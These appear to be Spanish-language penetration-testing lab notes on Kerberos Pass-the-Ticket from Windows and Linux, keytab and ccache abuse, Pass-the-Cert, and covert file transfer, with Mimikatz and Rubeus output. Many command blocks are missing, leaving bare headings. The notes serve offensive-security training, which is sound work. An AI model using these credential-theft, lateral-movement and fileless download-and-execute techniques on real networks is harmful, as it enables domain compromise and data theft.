 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK

mimikatz # exit
Bye!

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>

Rubeus - PowerShell Remoting with Pass the Ticket

Rubeus tiene la opción createnetonly, que crea un proceso o sesión de inicio de sesión "sacrificial" (tipo de logon 9). Este proceso está oculto por defecto, pero podemos usar el flag /show para mostrarlo. El resultado es equivalente a ejecutar runas /netonly.

Esto evita que se sobrescriban o eliminen los TGTs existentes de la sesión de inicio actual.

Create a Sacrificial Process with Rubeus

.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3


[*] Action: Create process (/netonly)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : JMI8CL7C
[*] Domain          : DTCDV6VL
[*] Password        : MRWI6XGI
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1556
[+] LUID            : 0xe07648

El comando anterior abrirá una nueva ventana de cmd. Desde esa ventana, podemos ejecutar Rubeus para solicitar un nuevo TGT usando la opción /ptt, lo que inyectará el ticket en la sesión actual.

Una vez hecho esto, ya podremos conectarnos al Domain Controller usando PowerShell Remoting dentro de esa misma sesión.

Rubeus - Pass the Ticket for Lateral Movement

rc4/NTLM

.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /ptt

aes256

.\Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFqDCCBaSgAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRMbEUlOTEFORUZSRUlHSFQuSFRC
      oiYwJKADAgECoR0wGxsGa3JidGd0GxFpbmxhbmVmcmVpZ2h0Lmh0YqOCBFAwggRMoAMCARKhAwIBAqKC
      BD4EggQ6JFh+c/cFI8UqumM6GPaVpUhz3ZSyXZTIHiI/b3jOFtjyD/uYTqXAAq2CkakjomzCUyqUfIE5
      +2dvJYclANm44EvqGZlMkFvHK40slyFEK6E6d7O+BWtGye2ytdJr9WWKWDiQLAJ97nrZ9zhNCfeWWQNQ
      dpAEeCZP59dZeIUfQlM3+/oEvyJBqeR6mc3GuicxbJA743TLyQt8ktOHU0oIz0oi2p/VYQfITlXBmpIT
      OZ6+/vfpaqF68Y/5p61V+B8XRKHXX2JuyX5+d9i3VZhzVFOFa+h5+efJyx3kmzFMVbVGbP1DyAG1JnQO
      h1z2T1egbKX/Ola4unJQRZXblwx+xk+MeX0IEKqnQmHzIYU1Ka0px5qnxDjObG+Ji795TFpEo04kHRwv
      zSoFAIWxzjnpe4J9sraXkLQ/btef8p6qAfeYqWLxNbA+eUEiKQpqkfzbxRB5Pddr1TEONiMAgLCMgphs
      gVMLj6wtH+gQc0ohvLgBYUgJnSHV8lpBBc/OPjPtUtAohJoas44DZRCd7S9ruXLzqeUnqIfEZ/DnJh3H
      SYtH8NNSXoSkv0BhotVXUMPX1yesjzwEGRokLjsXSWg/4XQtcFgpUFv7hTYTKKn92dOEWePhDDPjwQmk
      H6MP0BngGaLK5vSA9AcUSi2l+DSaxaR6uK1bozMgM7puoyL8MPEhCe+ajPoX4TPn3cJLHF1fHofVSF4W
      nkKhzEZ0wVzL8PPWlsT+Olq5TvKlhmIywd3ZWYMT98kB2igEUK2G3jM7XsDgwtPgwIlP02bXc2mJF/VA
      qBzVwXD0ZuFIePZbPoEUlKQtE38cIumRyfbrKUK5RgldV+wHPebhYQvFtvSv05mdTlYGTPkuh5FRRJ0e
      WIw0HWUm3u/NAIhaaUal+DHBYkdkmmc2RTWk34NwYp7JQIAMxb68fTQtcJPmLQdWrGYEehgAhDT2hX+8
      VMQSJoodyD4AEy2bUISEz6x5gjcFMsoZrUmMRLvUEASB/IBW6pH+4D52rLEAsi5kUI1BHOUEFoLLyTNb
      4rZKvWpoibi5sHXe0O0z6BTWhQceJtUlNkr4jtTTKDv1sVPudAsRmZtR2GRr984NxUkO6snZo7zuQiud
      7w2NUtKwmTuKGUnNcNurz78wbfild2eJqtE9vLiNxkw+AyIr+gcxvMipDCP9tYCQx1uqCFqTqEImOxpN
      BqQf/MDhdvked+p46iSewqV/4iaAvEJRV0lBHfrgTFA3HYAhf062LnCWPTTBZCPYSqH68epsn4OsS+RB
      gwJFGpR++u1h//+4Zi++gjsX/+vD3Tx4YUAsMiOaOZRiYgBWWxsI02NYyGSBIwRC3yGwzQAoIT43EhAu
      HjYiDIdccqxpB1+8vGwkkV7DEcFM1XFwjuREzYWafF0OUfCT69ZIsOqEwimsHDyfr6WhuKua034Us2/V
      8wYbbKYjVj+jgfEwge6gAwIBAKKB5gSB432B4DCB3aCB2jCB1zCB1KArMCmgAwIBEqEiBCDlV0Bp6+en
      HH9/2tewMMt8rq0f7ipDd/UaU4HUKUFaHaETGxFJTkxBTkVGUkVJR0hULkhUQqIRMA+gAwIBAaEIMAYb
      BGpvaG6jBwMFAEDhAAClERgPMjAyMjA3MTgxMjQ0NTBaphEYDzIwMjIwNzE4MjI0NDUwWqcRGA8yMDIy
      MDcyNTEyNDQ1MFqoExsRSU5MQU5FRlJFSUdIVC5IVEKpJjAkoAMCAQKhHTAbGwZrcmJ0Z3QbEWlubGFu
      ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.htb
  ServiceRealm             :  INLANEFREIGHT.HTB
  UserName                 :  john
  UserRealm                :  INLANEFREIGHT.HTB
  StartTime                :  7/18/2022 5:44:50 AM
  EndTime                  :  7/18/2022 3:44:50 PM
  RenewTill                :  7/25/2022 5:44:50 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
  ASREP (key)              :  9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01

From Linux

Introduction

Aunque no es lo más común, los equipos Linux pueden conectarse a Active Directory para ofrecer una gestión centralizada de identidades e integrarse con los sistemas de la organización. Esto permite que los usuarios tengan una única identidad para autenticarse tanto en equipos Linux como Windows.

Un equipo Linux conectado a Active Directory suele utilizar Kerberos como método de autenticación. Si este es el caso y logramos comprometer una máquina Linux unida al dominio, podríamos intentar buscar tickets Kerberos para suplantar a otros usuarios y obtener más acceso dentro de la red.

Un sistema Linux puede estar configurado de diferentes maneras para almacenar tickets Kerberos, y en esta sección vamos a ver algunas de esas opciones.

Nota: Una máquina Linux que no esté unida a Active Directory también puede usar tickets Kerberos, por ejemplo, en scripts o para autenticarse en la red. No es necesario estar unido al dominio para utilizar tickets Kerberos desde un sistema Linux.

Kerberos on Linux

Windows y Linux utilizan el mismo proceso para solicitar un Ticket Granting Ticket (TGT) y un Service Ticket (TGS). Sin embargo, la forma en que se almacenan los tickets puede variar según la distribución de Linux y la implementación utilizada.

En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como archivos ccache en el directorio /tmp. Por defecto, la ubicación del ticket Kerberos se define en la variable de entorno KRB5CCNAME. Esta variable nos puede indicar si se están utilizando tickets Kerberos o si se ha cambiado la ruta por defecto donde se almacenan. Estos archivos .ccache están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o root puede acceder fácilmente a ellos.

Otro uso muy común de Kerberos en Linux es a través de los archivos keytab. Un keytab es un archivo que contiene pares de principales Kerberos y claves cifradas (derivadas de la contraseña de Kerberos). Estos archivos permiten autenticarse en sistemas remotos usando Kerberos sin necesidad de introducir una contraseña. Eso sí, si el usuario cambia su contraseña, es necesario recrear los archivos keytab.

Los archivos keytab suelen usarse para que scripts puedan autenticarse automáticamente usando Kerberos, sin intervención humana ni necesidad de guardar la contraseña en texto plano. Por ejemplo, un script podría usar un keytab para acceder a archivos compartidos en un recurso de red de Windows.

Nota: Cualquier equipo que tenga un cliente Kerberos instalado puede crear archivos keytab. Estos pueden generarse en una máquina y luego copiarse a otras, ya que no están limitados al sistema donde fueron creados originalmente.

Scenario

Para practicar y entender cómo podemos abusar de Kerberos desde un sistema Linux, contamos con una máquina llamada LINUX01 conectada al Domain Controller. Esta máquina solo es accesible a través de MS01.

Para acceder a LINUX01 por SSH, tenemos dos opciones:

Conectarnos primero a MS01 mediante RDP y, desde ahí, usar el comando SSH en la línea de comandos de Windows para conectar con la máquina Linux.
Usar una técnica de port forwarding para redirigir el tráfico SSH hacia LINUX01.

Linux Auth from MS01 Image

Linux Auth via Port Forward

Como alternativa, creamos un port forwarding para simplificar la interacción con LINUX01. Al conectarnos al puerto TCP/2222 en MS01, obtendremos acceso al puerto TCP/22 en LINUX01.

Supongamos que estamos en una nueva evaluación, y la empresa nos da acceso a LINUX01 y al usuario david@inlanefreight.htb y contraseña Password2.

Identifying Linux and Active Directory Integration

Podemos identificar si la máquina Linux está unida a un dominio utilizando , una herramienta utilizada para gestionar la inscripción del sistema en un dominio y establecer qué usuarios o grupos del dominio tienen permiso para acceder a los recursos del sistema local.

realm - Check If Linux Machine is Domain Joined

La salida del comando indica que la máquina está configurada como miembro de Kerberos. También nos da información sobre el nombre de dominio (inlanefreight.htb) y qué usuarios y grupos tienen permiso para iniciar sesión, que en este caso son los usuarios David y Julio y el grupo Linux Admins.

En caso de que no esté disponible, también podemos buscar otras herramientas utilizadas para integrar Linux con Active Directory como sssd o winbind. Buscar esos servicios ejecutándose en la máquina es otra forma de identificar si está unida a un dominio. Podemos leer esta entrada de para más detalles. Vamos a buscar esos servicios para confirmar si la máquina está unida a un dominio.

PS - Check if Linux Machine is Domain Joined

Finding Kerberos Tickets in Linux

Como atacante, siempre estamos buscando credenciales. En máquinas Linux unidas a un dominio, queremos encontrar tickets Kerberos para obtener más acceso. Los tickets Kerberos se pueden encontrar en diferentes lugares dependiendo de la implementación de Linux o de que el administrador cambie la configuración por defecto. Exploremos algunas formas comunes de encontrar tickets Kerberos.

Finding Keytab Files

Using Find to Search for Files with Keytab in the Name

Un método sencillo es utilizar find para buscar archivos cuyo nombre contenga la palabra keytab. Cuando un administrador comúnmente crea un ticket Kerberos para ser usado con un script, establece la extensión a .keytab. Aunque no es obligatorio, es una forma en la que los administradores suelen referirse a un archivo keytab.

Nota: Para utilizar un archivo keytab, debemos tener privilegios de lectura y escritura (rw) en el archivo.

Identifying Keytab Files in Cronjobs

Otra forma de encontrar archivos keytab es en scripts automatizados configurados mediante un cronjob o cualquier otro servicio Linux. Si un administrador necesita ejecutar un script para interactuar con un servicio de Windows que utiliza Kerberos, y si el fichero keytab no tiene la extensión .keytab, podemos encontrar el nombre de fichero apropiado dentro del script. Veamos este ejemplo:

En el script anterior, notamos el uso de , lo que significa que Kerberos está en uso. permite la interacción con Kerberos, y su función es solicitar el TGT del usuario y almacenar este ticket en la caché (archivo ccache). Podemos utilizar kinit para importar un keytab a nuestra sesión y actuar como el usuario.

En este ejemplo, encontramos un script que importa un ticket Kerberos (svc_workstations.kt) para el usuario svc_workstations@INLANEFREIGHT.HTB antes de intentar conectarse a una carpeta compartida. Más adelante veremos cómo utilizar esos tickets y suplantar usuarios.

Nota: Como hemos comentado en la sección Pasar el ticket desde Windows, una cuenta de equipo necesita un ticket para interactuar con el entorno de Active Directory. Del mismo modo, una máquina unida a un dominio Linux necesita un ticket.

El ticket se representa como un archivo keytab ubicado por defecto en /etc/krb5.keytab y sólo puede ser leído por el usuario root. Si obtenemos acceso a este ticket, podemos suplantar la cuenta de equipo LINUX01$.INLANEFREIGHT.HTB

Finding ccache Files

Un archivo de caché de credenciales o almacena las credenciales Kerberos mientras siguen siendo válidas y, por lo general, mientras dura la sesión del usuario. Una vez que un usuario se autentica en el dominio, se crea un archivo ccache que almacena la información del ticket. La ruta a este archivo se coloca en la variable de entorno KRB5CCNAME. Esta variable es utilizada por las herramientas que soportan la autenticación Kerberos para encontrar los datos Kerberos.

Reviewing Environment Variables for ccache Files

Busquemos las variables de entorno e identifiquemos la ubicación de nuestra caché de credenciales Kerberos:

Searching for ccache Files in /tmp

Como se mencionó anteriormente, los archivos ccache se encuentran, por defecto, en /tmp. Podemos buscar usuarios que hayan iniciado sesión en el ordenador, y si conseguimos acceso como root o un usuario con privilegios, seríamos capaces de suplantar a un usuario utilizando su archivo ccache mientras aún sea válido.

Abusing KeyTab Files

Como atacantes, podemos darle varios usos a un archivo keytab. Lo primero que podemos hacer es suplantar a un usuario utilizando kinit. Para utilizar un archivo keytab, necesitamos saber para qué usuario fue creado.

Listing keytab File Information

klist es otra aplicación utilizada para interactuar con Kerberos en Linux. Esta aplicación lee información de un fichero keytab. Veámoslo con el siguiente comando:

Nota: kinit distingue entre mayúsculas y minúsculas, así que asegúrate de utilizar el nombre del principal tal y como se muestra en klist. En este caso, el nombre de usuario está en minúsculas y el nombre de dominio en mayúsculas.

El ticket corresponde al usuario Carlos. Ya podemos suplantar al usuario con kinit.

Impersonating a User with a keytab

Confirmemos qué ticket estamos usando con klist y luego importemos el ticket de Carlos a nuestra sesión con kinit.

Connecting to SMB Share as Carlos

Podemos intentar acceder a la carpeta compartida \\dc01\\carlos para confirmar nuestro acceso.

Nota: Para conservar el ticket de la sesión actual, antes de importar el keytab, guarde una copia del archivo ccache presente en la variable de entorno KRB5CCNAME.

Keytab Extract

El segundo método que utilizaremos para abusar de Kerberos en Linux es extraer los secretos de un archivo keytab. Pudimos hacernos pasar por Carlos usando los tickets de la cuenta para leer una carpeta compartida en el dominio, pero si queremos acceder a su cuenta en la máquina Linux, necesitaremos su contraseña.

Extracting Keytab Hashes with KeyTabExtract

Podemos intentar descifrar la contraseña de la cuenta extrayendo los hashes del archivo keytab. Usemos , una herramienta para extraer información valiosa de archivos .keytab de tipo 502, que pueden ser usados para autenticar cajas Linux a Kerberos. El script extraerá información como el dominio, el principal del servicio, el tipo de cifrado y los hash.

Con el hash NTLM, podemos realizar un ataque Pass the Hash. Con el hash AES256 o AES128, podemos falsificar nuestros tickets usando Rubeus o intentar crackear los hashes para obtener la contraseña en texto plano.

Nota: Un archivo keytab puede contener diferentes tipos de hashes y puede fusionarse para contener múltiples credenciales incluso de diferentes usuarios.

El hash más sencillo de descifrar es el hash NTLM. Podemos utilizar herramientas como o the Ripper para descifrarlo. Sin embargo, una forma rápida de descifrar contraseñas es con repositorios online como , que contiene miles de millones de contraseñas.

Como podemos ver en la imagen, la contraseña para el usuario Carlos es Password5. Ahora podemos iniciar sesión como Carlos.

Obtaining More Hashes

Carlos tiene un cronjob que utiliza un archivo keytab llamado svc_workstations.kt. Podemos repetir el proceso, descifrar la contraseña e iniciar sesión como svc_workstations.

Abusing Keytab ccache

Para abusar de un archivo ccache, todo lo que necesitamos son privilegios de lectura sobre el archivo. Estos archivos, ubicados en /tmp, sólo pueden ser leídos por el usuario que los creó, pero si obtenemos acceso de root, podríamos utilizarlos.

Privilege Escalation to Root

Una vez que nos logueamos con las credenciales del usuario svc_workstations, podemos usar sudo -l y confirmar que el usuario puede ejecutar cualquier comando como root. Podemos usar el comando sudo su para cambiar el usuario a root.

Looking for ccache Files

Como root, necesitamos identificar qué tickets están presentes en la máquina, a quién pertenecen y su tiempo de caducidad.

Identifying Group Membership with the id Command

Julio es miembro del grupo Domain Admins. Podemos intentar suplantar al usuario y obtener acceso al host Controlador de dominio DC01.

Importing the ccache File into our Current Session

Para utilizar un archivo ccache, podemos copiar el archivo ccache y asignar la ruta del archivo a la variable KRB5CCNAME.

Nota: klist muestra la información del ticket. Debemos tener en cuenta los valores «valid starting» y «expires». Si la fecha de caducidad ha pasado, el ticket no funcionará. Los archivos ccache son temporales. Pueden cambiar o caducar si el usuario ya no los utiliza o durante las operaciones de inicio y cierre de sesión.

Using Linux Attack Tools with Kerberos

La mayoría de las herramientas de ataque en Linux que interactúan con entornos Windows y Active Directory soportan autenticación Kerberos. Si las usamos desde una máquina unida al dominio, debemos asegurarnos de que la variable de entorno KRB5CCNAME esté apuntando al archivo ccache que queremos usar.

En caso de que estemos atacando desde una máquina que no es miembro del dominio, como nuestro equipo de ataque, debemos asegurarnos de que dicha máquina pueda contactar con el KDC o Domain Controller, y que la resolución de nombres del dominio funcione correctamente.

En este escenario, nuestra máquina atacante no tiene conexión directa con el KDC/Domain Controller, y no puede usarlo para resolver nombres. Para poder usar Kerberos, necesitamos redirigir el tráfico a través de MS01 usando herramientas como Chisel y Proxychains, y además editar el archivo /etc/hosts para establecer manualmente las direcciones IP del dominio y de las máquinas que queremos atacar.

Host File Modified

Proxychains Configuration File

Tenemos que modificar nuestro archivo de configuración proxychains para utilizar socks5 y el puerto 1080.

Download Chisel to our Attack Host

Connect to MS01 with xfreerdp

Execute chisel from MS01

Nota: La IP del cliente es la IP de su host de ataque.

Setting the KRB5CCNAME Environment Variable

Finalmente, necesitamos transferir el archivo ccache de Julio desde LINUX01 y crear la variable de entorno KRB5CCNAME con el valor correspondiente a la ruta del archivo ccache.

Esto permitirá que las herramientas que utilicen autenticación Kerberos en nuestra máquina atacante usen el ticket de Julio para autenticarse como él dentro del dominio.

Impacket

Para usar el ticket Kerberos, debemos especificar el nombre de la máquina objetivo (no su dirección IP) y usar la opción -k.

Si al conectarnos se nos solicita una contraseña, también podemos añadir la opción -no-pass para evitar que la herramienta intente pedir credenciales.

Esto forzará el uso del ticket Kerberos almacenado, sin requerir interacción adicional.

Using Impacket with proxychains and Kerberos Authentication

Nota: Si estás usando herramientas de Impacket desde una máquina Linux conectada al dominio, ten en cuenta que algunas implementaciones de Active Directory en Linux utilizan el prefijo FILE: en la variable KRB5CCNAME.

Si este es el caso, debemos modificar la variable para que solo contenga la ruta al archivo ccache, sin el prefijo FILE:. Esto es necesario para que las herramientas de Impacket puedan interpretar correctamente la ubicación del ticket.

Evil-WinRM

La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.

Sincronizar la hora de la máquina local con la del Domain Controller.
Disponer de un TGT (Ticket Granting Ticket)
Exportar el TGT en la variable KRB5CCNAME
Disponer de la instalación de krb5-user y krb5-config en el equipo local
Configurar adecuadamente el archivo /etc/krb5.conf con la configuración necesaria del dominio

El comando para conectarnos mediante el TGT obtenido es el siguiente:

Para configurar paso a paso esta autenticación al WinRM mediante Kerberos, realizaremos los siguientes pasos:

Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).

Instalaremos el paquete de ntpdate para ayudarnos a sincronizar la hora de nuestro reloj.

Una vez instalado, sincronizaremos nuestra hora con la del DC.

Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.

A través de la herramienta de impacket-getTGT obtendremos un TGT válido para nuestro usuario.

Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache.

Una vez obtenido el TGT (.ccache), deberemos de exportar este tiquet en la variable KRB5CCNAME para poder utilizarlo correctamente.

Instalaremos el paquete de krb5-user a través del siguiente comando:

Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME funcione correctamente. Nos deberá aparecer nuestro TGT.

Instalaremos el paquete necesario para el /etc/krb5.conf a través del siguiente comando:

Una vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf para que se adapte al dominio correspondiente.

A continuación, dejaremos un archivo /etc/krb5.conf de ejemplo.

Miscellaneous

Si queremos usar un archivo ccache en Windows o un archivo .kirbi en una máquina Linux, podemos usar la herramienta impacket-ticketConverter para convertirlos.

Para utilizarla, simplemente indicamos el archivo que queremos convertir y el nombre del archivo de salida. Por ejemplo, para convertir el archivo ccache de Julio a formato .kirbi:

Impacket Ticket Converter

También podemos hacer la operación inversa, convirtiendo un archivo .kirbi a .ccache para usarlo en Linux.

Importing Converted Ticket into Windows Session with Rubeus

Linikatz

Linikatz es una herramienta creada por el equipo de seguridad de Cisco para la extracción de credenciales en máquinas Linux integradas en Active Directory. En otras palabras, lleva el mismo concepto de Mimikatz al entorno UNIX.

Al igual que Mimikatz, para aprovechar Linikatz necesitamos tener acceso root en la máquina. Esta herramienta extrae todas las credenciales, incluidos tickets Kerberos, desde distintas implementaciones como FreeIPA, SSSD, Samba, Vintella, entre otras. Una vez extraídas, las guarda en una carpeta cuyo nombre comienza con linikatz.

Dentro de esa carpeta encontraremos las credenciales en varios formatos útiles como .ccache y .keytab, que luego podemos reutilizar según sea necesario (como se explicó anteriormente).

Al ejecutarlo, Linikatz detecta las configuraciones de distintos servicios relacionados con AD (como FreeIPA, SSSD, Samba, Kerberos, etc.) y extrae los archivos relevantes: bases de datos de caché, archivos .ccache, .keytab, configuraciones y más.

En el ejemplo mostrado:

Se detectan múltiples tickets Kerberos en /tmp, incluyendo de usuarios como julio@inlanefreight.htb y svc_workstations@inlanefreight.htb.
También se identifican archivos de configuración como /etc/krb5.conf y /etc/sssd/sssd.conf.
El sistema está utilizando SSSD y se observan archivos .ldb y .ccache dentro de /var/lib/sss/db/.

Pass the Cert (PtC)

KDC_ERR_PADATA_TYPE_NOSUPP

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10

Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

PowerShell

PowerShell Session File Transfer

Ya hablamos de realizar transferencias de archivos con PowerShell, pero puede haber escenarios en los que HTTP, HTTPS o SMB no estén disponibles. Si ese es el caso, podemos usar , también conocido como WinRM, para realizar operaciones de transferencia de archivos.

nos permite ejecutar scripts o comandos en una computadora remota mediante sesiones de PowerShell. Los administradores suelen usar PowerShell Remoting para administrar computadoras remotas en una red, y también podemos usarlo para operaciones de transferencia de archivos. De manera predeterminada, al habilitar PowerShell Remoting se crean un receptor HTTP y un receptor HTTPS. Los receptores se ejecutan en los puertos predeterminados TCP/5985 para HTTP y TCP/5986 para HTTPS.

Para crear una sesión de PowerShell Remoting en una computadora remota, necesitaremos acceso administrativo, ser miembro del grupo Remote Management Users o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Creemos un ejemplo y transfiramos un archivo de DC01 a DATABASE01 y viceversa.

Tenemos una sesión como Administrador en DC01, el usuario tiene derechos administrativos en DATABASE01 y PowerShell Remoting está habilitado. Usemos Test-NetConnection para confirmar que podemos conectarnos a WinRM.

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

Como esta sesión ya tiene privilegios sobre DATABASE01, no necesitamos especificar credenciales. En el ejemplo siguiente, se crea una sesión en la computadora remota denominada DATABASE01 y se almacenan los resultados en la variable denominada $Session.

Create a PowerShell Remoting Session to DATABASE01

Podemos usar el cmdlet Copy-Item para copiar un archivo de nuestra máquina local DC01 a la sesión DATABASE01 que tenemos $Session o viceversa.

Copy samplefile.txt from our Localhost to the DATABASE01 Session

Copy DATABASE.txt from DATABASE01 Session to our Localhost

Download Operations

PowerShell File Download

DownloadFile --> Descarga datos de un recurso a un archivo local.
DownloadFileAsync --> Descarga datos de un recurso a un archivo local sin bloquear el hilo que lo llama.

PowerShell Invoke-WebRequest

PowerShell DownloadString - Fileless Method

Ejecutar directamente en memoria el script a través de IEX.

PowerShell Base64 Transfer

Common Errors with PowerShell

Internet Explorer 11 Not Completed

Puede haber casos en los que la configuración inicial de Internet Explorer no se haya completado, lo que impide la descarga.

Esto se puede evitar utilizando el parámetro -UseBasicParsing.

Secure Channel SSL/TLS is not trusted

Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:

Upload Operations

PowerShell Base64

PowerShell Web Uploads

PowerShell no tiene una función integrada para operaciones de carga de archivos, pero podemos usar Invoke-WebRequest o Invoke-RestMethod para construir nuestra propia función de carga. También necesitaremos un servidor web que acepte cargas de archivos, ya que esta no es una opción predeterminada en la mayoría de los servidores web comunes.

Para nuestro servidor web, podemos usar uploadserver, un módulo extendido de Python HTTP.server, que incluye una página para la carga de archivos. Vamos a instalarlo y a iniciar el servidor web.

Installing a Configured WebServer with Upload

Ahora podemos usar un script de PowerShell llamado PSUpload.ps1, que utiliza Invoke-RestMethod para realizar las operaciones de carga. El script acepta dos parámetros:

-File, que usamos para especificar la ruta del archivo.
-Uri, que es la URL del servidor donde subiremos nuestro archivo.

Vamos a intentar subir el archivo hosts desde nuestro sistema Windows.

PowerShell Base64 Web Upload

Otra forma de usar PowerShell y archivos codificados en Base64 para cargas es combinando Invoke-WebRequest o Invoke-RestMethod con Netcat.

Usamos Netcat para escuchar en un puerto específico y recibir la solicitud POST con el archivo.
Luego, copiamos la salida y utilizamos la función de decodificación Base64 para convertir la cadena en un archivo.

Capturamos los datos en Base64 con Netcat y luego usamos la aplicación base64 con la opción de decodificación para convertir la cadena en un archivo.

Remote Desktop Protocol (RDP)

RDP (Remote Desktop Protocol) se utiliza habitualmente en redes Windows para el acceso remoto. Podemos transferir archivos mediante RDP copiando y pegando. Podemos hacer clic derecho y copiar un archivo desde la máquina Windows a la que nos conectamos y pegarlo en la sesión RDP.

Si estamos conectados desde Linux, podemos utilizar xfreerdp o rdesktop. En el momento de redactar este artículo, xfreerdp y rdesktop permiten copiar desde nuestra máquina de destino a la sesión RDP, pero puede haber situaciones en las que esto no funcione como se espera.

Como alternativa a copiar y pegar, podemos montar un recurso local en el servidor RDP de destino. rdesktop o xfreerdp se pueden utilizar para exponer una carpeta local en la sesión RDP remota.

Mounting a Linux Folder Using rdesktop

Mounting a Linux Folder Using xfreerdp

Para acceder al directorio, podemos conectarnos a \\tsclient, lo que nos permitirá transferir archivos hacia y desde la sesión RDP.

mstsc.exe

Alternativamente, desde Windows, se puede utilizar el cliente de escritorio remoto nativo mstsc.exe.

Después de seleccionar la unidad, podremos interactuar con ella en la sesión remota que sigue.

Nota: Esta unidad no es accesible para ningún otro usuario que haya iniciado sesión en la computadora de destino, incluso si logra secuestrar la sesión RDP.

Catching Files over HTTP/S

HTTP/S

La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls. Además, en muchos casos, el archivo viaja cifrado, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.

Ya vimos cómo usar el módulo uploadserver de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar Apache o Nginx. En esta parte, vamos a ver cómo montar un servidor web seguro para operaciones de subida de archivos.

Nginx – Habilitar PUT

Una buena alternativa a Apache para transferir archivos es Nginx, ya que su configuración es más sencilla y su sistema de módulos no genera tantos problemas de seguridad como puede ocurrir con Apache.

Cuando permitimos subidas por HTTP, es fundamental asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en .php. En cambio, configurar PHP en Nginx no es tan directo, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.

Create a Directory to Handle Uploaded Files

gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Change the Owner to www-data

gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

